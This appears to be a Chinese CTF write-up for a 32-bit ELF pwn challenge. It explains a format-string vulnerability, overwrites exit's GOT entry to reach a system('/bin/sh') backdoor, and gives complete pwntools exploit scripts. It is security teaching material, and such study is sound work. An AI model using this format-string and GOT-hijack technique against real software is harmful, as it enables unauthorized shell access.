题目给定ELF文件一个,
首先用ida静态分析。题目拥有反反编译操作,考虑到修复可能会造成程序地址改变,所以并未修复,直接分析汇编代码。
所幸他的main函数并不是很复杂,可以直接分析汇编代码。
在程序的开始生成两个随机数,然后让你输入两次字符串,执行log_in()函数。
log_in()函数会将之前你输入的字符直接printf出来,存在格式化字符串漏洞。
int __cdecl log_in(char *format, char *a2)
{
fwrite("Welcome my Dear ", 1u, 0x10u, stdout);
fprintf(stdout, format, "%s");
fprintf(stdout, a2, "%s");
return 0;
}
log_in()函数执行后会对之前两个随机数进行比较,如果两个随机数所在地址内的字符相等,则执行system("/bin/sh"),否则执行exit(1)。
刚开始考虑将两个随机数地址用格式化字符串$n将其清零,后来发现两个地址是动态的,且格式化字符串的payload长度要小于等于13,且只能进行一次,不能进行攻击。
检查保护时发现其GOT表可写,pie未开。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
最终攻击思路为将exit()函数劫持到后门程序上getshell。
由于exit()的GOT表有些特殊,整体在本程序上不在libc上,只需要改后四位即可回到程序上。
多次尝试为第20位可控。
脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 1
if local == 1:
r=process('./wdbpwn2')
#gdb.attach(r,'b * 0x080489C9')
else:
r = remote('xxx.xx.xxx.xx',xxxxx)
elf = ELF('./wdbpwn2')
r.recvuntil('e:')
r.sendline("aaaa")
r.recvuntil('e:')
r.sendline('%20$p')
r.interactive()
最终exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
if local == 1:
r=process('./wdbpwn2')
#gdb.attach(r,'b * 0x080489C9')
else:
r = remote('xxx.xx.xxx.xx',xxxxx)
elf = ELF('./wdbpwn2')
sleep(20) #远程服务器有些问题,加入延迟等待服务器反应
r.recvuntil('e:')
r.sendline(p32(0x804a028))
r.recvuntil('e:')
r.sendline('%34714c%20$hn') #先劫持到main函数上稳定执行
r.recvuntil('e:')
r.sendline(p32(0x804a028)) #exit_got
r.recvuntil('e:')
r.sendline('%35291c%20$hn') # system("/bin/sh") addr
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!